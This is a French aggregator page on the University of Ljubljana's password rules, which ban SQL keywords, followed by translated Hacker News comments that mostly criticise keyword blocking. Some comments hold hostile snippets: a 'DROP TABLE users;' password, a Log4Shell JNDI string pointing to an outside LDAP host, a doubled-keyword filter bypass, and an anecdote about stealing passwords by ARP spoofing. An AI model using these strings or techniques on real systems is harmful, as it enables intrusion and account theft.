Mots interdits dans un mot de passe : select, insert, update, delete, drop

 (id.uni-lj.si)
2 points par GN⁺ 2024-01-22 | 1 commentaires | Partager sur WhatsApp
  • La réinitialisation du mot de passe sur le portail d’identification de l’Université de Ljubljana demande de saisir le nom d’utilisateur et le nouveau mot de passe avec confirmation, une structure visant à réduire les erreurs de saisie lors du processus de récupération de compte
  • Le nom d’utilisateur a un format qui ressemble à une adresse e-mail ; l’exemple donné est js1234@student.uni-lj.si
  • Le nouveau mot de passe doit compter au moins 10 caractères et ne peut pas contenir d’informations personnelles faciles à deviner, comme le prénom ou le nom
  • Il doit respecter au moins 3 critères parmi les majuscules, les minuscules, les chiffres et les symboles -_.+@
  • Des mots comme select, insert, update, delete et drop ne peuvent pas non plus être utilisés dans le mot de passe : il faut donc vérifier les motifs interdits, au-delà de la simple longueur

Flux de saisie pour la réinitialisation du mot de passe

  • L’écran comporte les champs Username, New password et New password confirmation
  • Les trois champs sont indiqués comme required
  • Le nom d’utilisateur a un format qui ressemble à une adresse e-mail
    • L’exemple de nom d’utilisateur correspondant à John Smith est js1234@student.uni-lj.si
  • Le nouveau mot de passe doit être saisi deux fois afin de réduire les fautes de frappe

Règles du nouveau mot de passe

  • Le nouveau mot de passe est traité comme un moyen de protéger l’identité numérique de l’utilisateur
  • Les mots de passe faciles à deviner doivent être évités
    • Ex. : prénom, nom, nom du partenaire, date de naissance
  • Le mot de passe doit compter au moins 10 caractères
  • Il ne peut pas contenir le prénom ou le nom de l’utilisateur
  • Il doit satisfaire au moins 3 des critères suivants
    • Lettre majuscule de l’alphabet anglais
    • Lettre minuscule de l’alphabet anglais
    • Chiffre
    • Symbole : -_.+@

Mots inutilisables

  • Les mots suivants ne peuvent pas être utilisés dans le mot de passe
    • select
    • insert
    • update
    • delete
    • drop

À lire aussi

1 commentaires

 
GN⁺ 2024-01-22
Avis sur Hacker News

  • Oh, cette chaîne, c’est moi qui l’ai mise. C’était une demande de la direction, et je ne sais toujours pas pourquoi.
    Ce site ne stocke pas les mots de passe ; c’est plutôt une jolie interface autour d’un système externe de gestion des comptes.
    J’ai entendu dire que la validation des champs de connexion dans certaines applis legacy était bizarre, et que les étudiants n’arrivaient pas à se connecter avec des mots de passe contenant certaines chaînes, mais je ne connais pas de cas concret.

    • À l’inverse, il suffit de définir tous les mots de passe sur DROP TABLE users;. Comme ça, on repère vite lequel des fournisseurs traite les mots de passe de façon totalement non sécurisée.
      Dans ce cas, cela voudrait dire qu’il ne nettoie pas les entrées utilisateur et qu’il ne hashe ni ne masque les mots de passe : c’est du niveau nuisance sociale.
    • Sur un site, la longueur maximale du champ « créer un nouveau mot de passe » était supérieure à l’attribut maxlength du champ de saisie du formulaire de connexion.
      Je n’ai pas compris pendant un bon moment pourquoi la connexion marchait avec le remplissage automatique du gestionnaire de mots de passe, mais pas en le tapant ou en le collant à la main. C’était parce que le remplissage automatique ignorait maxlength.
    • Je me demande si ce n’est qu’une chaîne présente sur la page, ou si la logique de validation la bloque réellement.

  • Il disait qu’on ne pouvait pas inclure "script", mais au début de mon adolescence, j’ai hacké la grande plateforme sociale Nettby.no.
    Leur méthode consistait à supprimer tous les mots interdits, dont script.

    • Évidemment, il fallait donc exécuter le script deux fois.
    • Moi aussi, j’avais hacké Nettby à l’école. C’était le bon temps.
      Nettby n’avait pas de HTTPS, donc avec une attaque de l’homme du milieu par empoisonnement ARP, j’ai volé les mots de passe de tout le monde, puis j’ai posté des absurdités au hasard depuis les comptes des gens pour regarder le chaos. Je n’ai pas fouiné ; même à 14 ans, j’avais apparemment un minimum d’éthique.
    • C’était un problème facile. Il aurait suffi de supprimer les chevrons.
    • LOL. J’ai fait la même chose sur le site de Coca-Cola, et leur directeur général m’a envoyé une lettre furieuse avant de supprimer mon compte.

  • Je vais probablement me faire beaucoup critiquer, mais je pense que, dans au moins certains cas, c’est une idée acceptable.
    Dans les organisations, beaucoup de gens produisent du mauvais code et de mauvaises architectures système, et il manque des personnes qui ont la capacité, l’autorité et le temps de les détecter et de les faire corriger.
    Aux États-Unis, on est souvent obligé de travailler via des sites web codés n’importe comment, comme ceux d’établissements de santé locaux. Dans ce genre de cas, il peut être préférable de partir du principe que l’implémentation est probablement atroce, comme c’est souvent le cas, et de recommander des mesures d’atténuation en conséquence.
    Les utilisateurs peuvent facilement tester si des motifs de mots de passe officiellement interdits sont en réalité acceptés et saisir les autorités de contrôle, mais il n’est pas facile de vérifier de l’extérieur si l’implémentation est correcte.
    Ce n’est ni élégant ni réjouissant, mais il peut être plus réaliste d’accepter que les choses sont souvent mal faites et insuffisamment supervisées, et de réfléchir à des mesures d’atténuation pour éviter les pires conséquences.

    • Je ne suis pas d’accord. Sur le papier, ça peut sembler bien, mais ça donne beaucoup trop un faux sentiment de sécurité.
      Ce genre de mesure de sécurité masque souvent des problèmes plus profonds. En général, on met ce type de mesure parce qu’on ne traite pas les entrées utilisateur avec assez de prudence, mais l’hypothèse selon laquelle bloquer quelques mots-clés « neutralise » les vulnérabilités potentielles est généralement facile à réfuter. Il suffit de regarder les exemples d’eBay et de JSFuck.
      Je déteste cette façon de penser. Je suis convaincu que les pare-feu applicatifs web (WAF), les tests d’intrusion paresseux et les cases de conformité à cocher ont produit une quantité énorme de théâtre sécuritaire, et ont amené les entreprises à croire qu’elles sont « sûres » et qu’elles ont « fait preuve de diligence » même lorsqu’elles exposent partiellement à l’Internet public des logiciels écrits de façon absurdement catastrophique.
      Résultat : je reçois par courrier une lettre d’excuses m’annonçant que mes informations les plus sensibles ont encore fuité depuis une entreprise à qui j’ai dû confier mes données sans réelle alternative. Bien sûr, tout le monde tient profondément à mes données ; ils les ont simplement laissées se faire voler via une vulnérabilité vieille de plusieurs décennies dans une bibliothèque de sérialisation Java.
      [1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
    • Si une organisation a une telle politique de mots de passe, on peut l’interpréter comme le signe que la personne responsable de cette politique pense que son organisation ne dispose pas d’assez de gens ayant la compétence et l’autorité nécessaires pour empêcher les injections SQL.
      Cela donne une mauvaise image de n’importe quelle institution, mais c’est particulièrement grave pour une université, qui devrait être un bastion de personnes compétentes et habilitées.
      Comme conseil général sur les mots de passe, tout le monde devrait plutôt mettre ce genre de mots-clés dans ses mots de passe afin de faire apparaître les bugs plus vite. Il ne faut pas les laisser cachés jusqu’à ce que seuls les attaquants s’en servent.
    • Les mots de passe ne devraient même pas s’approcher d’une base de données.
      Il faut les saler puis les hasher des centaines de milliers de fois, puis comparer le résultat avec le sel et le hash stockés dans un fichier.
      Si vous n’êtes même pas capable de faire ça, vous n’êtes pas qualifié pour écrire un logiciel qui stocke des identifiants. Je suis sérieux. La sécurité logicielle commence par reconnaître que les données sont toxiques et qu’elles peuvent faire couler votre entreprise si vous ne les traitez pas avec respect.
    • Ça ressemble à un piège classique de défense en profondeur : on dépense des efforts d’ingénierie au mauvais niveau pour un problème qui pourrait être résolu bien plus efficacement à un autre niveau.
      Si vous devez vous inquiéter du fait que le système puisse insérer des mots de passe en clair dans une table de base de données, alors il y a un million d’autres choses qui peuvent horriblement mal tourner dans ce système. Par exemple, que se passe-t-il si le DBA copie-colle du SQL depuis Stack Overflow ?
      Si votre organisation emploie des ingénieurs incompétents, ne les laissez pas implémenter leur propre système d’authentification ; mieux vaut utiliser un framework open source largement adopté ou un produit commercial.
    • Je ne vois pas quel chemin d’attaque cela bloque.
      Si le flux d’authentification fait autre chose que saler et hasher le mot de passe puis jeter le mot de passe en clair d’origine, il ne faut tout simplement pas utiliser ce système.

  • Pas de souci. Il suffit d’utiliser truncate à la place.

  • Le plus drôle dans cette histoire, c’est qu’ils ne vérifient même pas toutes les chaînes interdites.
    Source : je suis étudiant dans cette école, et j’ai essayé moi-même par curiosité.

    • Si quelque chose casse, ils risquent fort d’utiliser cette clause de non-responsabilité comme prétexte pour te faire porter le chapeau.
    • Si le risque en cas de violation du règlement est l’expulsion, ça doit être assez facile d’assurer la conformité.

  • Au lieu de rendre l’injection SQL carrément impossible avec des procédures stockées appropriées et d’autres techniques, on se contente de bloquer quelques mots-clés en espérant que les hackers ne penseront pas à des méthodes auxquelles on n’a pas pensé, comme des astuces d’échappement.
    Ça fonctionnera probablement pendant un temps, mais seulement jusqu’à ce que quelqu’un prouve le contraire.
    Empêcher les entrées utilisateur de se mélanger au SQL, ce n’est plus de la science spatiale. On n’est plus en 2005.
    Si ça marche au départ, cela signifie qu’ils stockent les mots de passe sans les hacher, ce qui était déjà stupide en 2005. Pour les noms d’utilisateur ou d’autres champs de saisie, la même approche aurait un peu plus de sens, mais un mot de passe ne devrait jamais entrer dans la base de données de cette façon.

    • Au travail, on a déjà discuté d’une façon de sérialiser des données structurées dans des valeurs d’en-têtes de requêtes HTTP. J’ai répondu par réflexe : « le sous-ensemble ASCII de JSON sans retours à la ligne », mais ça a été rejeté pour plusieurs raisons. Peut-être parce qu’il y avait trop de ponctuation, ou que c’était verbeux pour le chinois.
      Quelqu’un a proposé des champs séparés par des pipes, mais ça aussi a été rejeté. La raison était du genre : « par le passé, certains proxys de clients rejetaient les en-têtes contenant le caractère pipe ».
      La programmation vaudou ne vient pas toujours seulement d’un manque d’investigation. Elle peut aussi naître de cas où l’on sait que quelque chose s’est mal passé autrefois, sans preuves, et sans moyen d’y remédier.
      Personnellement, j’aurais préféré déployer tel quel et voir si ça casse, puis résoudre le problème avec les clients après coup si nécessaire. C’est une approche impopulaire pour des raisons évidentes et valables, donc au final on n’a pas utilisé le caractère pipe.
    • J’ai créé ma première application avec base de données vers le début de 2005, et ce n’était pas si difficile de ne pas mélanger les données utilisateur au SQL.
      Je crois que les scripts CGI tournaient aussi en taint mode. Vous vous souvenez de ça ?
    • « Si ça marche au départ, cela signifie qu’ils stockent les mots de passe sans les hacher » : pas forcément.
      Un SGBDR peut prendre en charge des fonctions de hachage, donc on pourrait stocker ça comme UPDATE USERS SET PASSWORD = SHA2($PASSWORD). Dans ce cas, c’est vulnérable à l’injection SQL, mais on ne stocke pas le mot de passe non haché.
      Il y a de bonnes raisons de recommander de faire le hachage dans la couche applicative, mais si l’on utilise des requêtes correctement paramétrées, le faire dans la base de données n’est pas non plus si terrible.
    • Le simple fait que cet article soit arrivé en première page signifie que ce qui est expliqué ici relève de l’évidence pour ce lectorat.

  • Ouf, impossible à attraper. Mon mot de passe est ${jndi:ldap://hunter2.com/totallylegit}.

    • Non. Ce n’est même pas une URL LDAP valide, ni un domaine valide.
      Un domaine ne peut contenir que les caractères ASCII a-z et les chiffres 0-9, et l’astérisque n’est pas autorisé. Le seul symbole autorisé est le tiret, qui ne peut pas non plus être placé au début ou à la fin.

  • En étant optimiste, cette exigence pourrait venir d’un pare-feu applicatif web (WAF) excessivement strict.

    • Ou bien d’un « framework » ou d’un ensemble d’outils à l’architecture catastrophique.
      D’autres commentaires y voient une « preuve » d’une mauvaise sécurité applicative, mais je ne pense pas qu’on puisse aller jusque-là. On peut en revanche conclure qu’une partie de la stack est très mal implémentée.
    • Ça voudrait dire que le WAF peut voir les mots de passe non hachés, ce qui n’est pas bon du tout.
    • Je me demande ce que signifie l’acronyme WAF.

  • Ça ressemble à un vestige d’un ancien système. J’ai entendu dire que certaines universités et banques utilisent de vieux mainframes pour l’authentification centrale.
    Dans certains cas, j’ai entendu dire que les mots de passe étaient stockés en clair, tronqués à 8 caractères, et que seules les majuscules étaient autorisées.
    La principale raison pour laquelle ces systèmes ne sont pas mis à niveau, du moins d’après ce que j’ai entendu, est le coût et la complexité. Plutôt que de dépenser $$$$ pour mettre à jour un système qui fonctionne, on dépense seulement $ pour limiter les mots de passe et ajouter une « sécurité » de base.

  • Il y a quelques années, je développais une application qui publiait des articles via l’API WordPress. Les clients avaient chacun installé WordPress dans des environnements d’hébergement variés, avec toutes sortes de fonctionnalités de « sécurité ».
    On a reçu un rapport de bug disant que la publication d’un article sur le blog échouait et publiait un contenu vide : un de ces plugins de sécurité scannait les longs billets de blog et, s’il trouvait quelque chose comme .... select from , remplaçait le paramètre POST correspondant par une chaîne vide.
    J’ai aussi vu un rapport de bug client similaire, où du JavaScript obfusqué avait été injecté dans du texte HTML à l’intérieur d’un champ JSON envoyé par notre serveur. Je n’étais pas sûr que ce soit un plugin de « sécurité » ou un malware.

    • Il m’est arrivé par le passé qu’un petit nombre de requêtes échouent sur un ensemble précis de pages. Au début, j’ai remarqué que toutes les URL contenaient select, le plus souvent comme partie d’un nom de paramètre du genre itemselect. J’ai donc cherché s’il y avait quelque part dans la stack un filtre de type WAF.
      J’ai fini par trouver une ancienne configuration restée sur le serveur proxy, datant d’avant l’utilisation d’un WAF commercial, qui cherchait SELECT.*UNION.
      En regardant à nouveau les URL, elles avaient aussi toutes un paramètre comme company=credit+union. Je me suis pris le visage dans les mains, j’ai supprimé ce code, et il y avait suffisamment de protections ailleurs.